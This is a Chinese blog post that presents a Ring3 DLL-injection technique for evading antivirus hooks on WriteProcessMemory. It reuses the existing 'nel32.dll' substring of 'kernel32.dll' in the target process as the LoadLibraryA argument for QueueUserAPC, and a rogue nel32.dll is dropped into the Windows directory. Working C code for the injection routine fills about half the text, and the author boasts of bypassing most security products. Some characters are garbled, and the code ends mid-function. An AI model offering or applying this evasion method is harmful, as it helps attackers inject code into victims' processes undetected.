目前大多數的殺軟都是hookNtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE來(lái)防止代碼注入。
關(guān)于代碼注入Ring3層的方法主要有:
遠程線(xiàn)程CreateRemoteThread
消息鉤子SetWindowsHookEx
Ring3 APC QueueUserApc
修改線(xiàn)程上下文SetContextThread
其中第一種和第三種方法需要傳入一個(gè)param,但是要求這個(gè)param必須在目標進(jìn)程內存空間,之前的一些方法比較笨重,直接在目標進(jìn)程VirtualAllocEx內存,然后把希望的參數內容寫(xiě)入這個(gè)內存,使用了WriteProcessMemory函數,而這個(gè)函數是被hook的,所以殺軟可以很容易的攔截代碼注入行為。
仔細想想,殺軟的這種防御是很失敗的!原因是為了要一個(gè)param,攻擊者完全沒(méi)有必要做這么大的動(dòng)作去目標進(jìn)程內存空間申請內存并寫(xiě)內存,我在思考是否可以不用WriteProcessMemory函數呢?反正我的目的就是得到一個(gè)合理的param,并且這個(gè)param是在目標進(jìn)程內存空間即可!
思考后,原來(lái)一切是這么容易啊,哈哈!樂(lè )了我半天~~~
舉個(gè)例子:假設我是這樣注入的:
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
我想讓上面的param的內容是一個(gè)“xxx.dll”,就可以了,而且要求這個(gè)param是在目標進(jìn)程內存空間
您想到了么?哈哈
答案:直接在目標進(jìn)程搜索一個(gè)這樣的字符串“nel32.dll”就可以啦!因為“kernel32.dll”這樣的字符串是一定存在的,那么為了和“kernel32.dll”不一樣,那就隨便使用一下“nel32.dll”,或者“el32.dll”,都是可以的??!最后在往windows目錄下面撂進(jìn)入一個(gè)nel32.dll,這樣注入大部分殺軟都是不能攔截到的!哈哈!
寫(xiě)了段程序,做了個(gè)試驗,僅測試了下趨勢,完美繞過(guò)!其實(shí)殺軟稍后測試。。。
DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORDdwProcessID,TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;
const char szInjectModName[] = "nel32.dll";
DWORD dwLen = strlen(szInjectModName) ;
//////////////////////////////////////////////////////////////////////////
//不寫(xiě)目標進(jìn)程的內存
//直接在目標進(jìn)程中搜索出 nel32.dll 這樣的字符串 并注入
//////////////////////////////////////////////////////////////////////////
int bufflen=30000;
char *buffer=(char *)malloc(sizeof(char)*bufflen);
DWORD dwNumberOfBytesRead;
DWORD defaultAddress;
//獲得該進(jìn)程的基址
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,dwProcessID) ;
if(!hSnapshot)
{
printf("CreateToolhelp32Snapshot error!\n");
return 0;
}
MODULEENTRY32 me = { sizeof(me) };
BOOL fOk =Module32First(hSnapshot,&me);
if(!fOk)
{
printf("Module32First error!\n");
return 0;
}
for (; fOk; fOk = Module32Next(hSnapshot,&me))
{
printf("%s process module name = %s\n",processName,me.szModule);
// 取得進(jìn)程模塊基址
if(stricmp(me.szModule,processName)==0)
{
defaultAddress=(DWORD)me.modBaseAddr;
printf("%s process module base =0x%08X\n",processName,defaultAddress);
break;
}
}
//搜索
if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
{
printf("ReadProcessMemory error!\n");
return 0;
}
for(int i=0;i<bufflen-dwLen;i++)
{
if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
{
printf("found nel32.dll already!... %s\n",buffer+i);
while (pCurrentTid)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE,pCurrentTid->dwTid) ;
if (hThread != NULL)
{
//
// 注入DLL到指定進(jìn)程
//
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread,(ULONG_PTR)(defaultAddress+i)) ;
}
printf("TID:%d\n", pCurrentTid->dwTid) ;
pCurrentTid = pCurrentTid->pNext ;
}
break;
}
}
return 0 ;
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請
點(diǎn)擊舉報。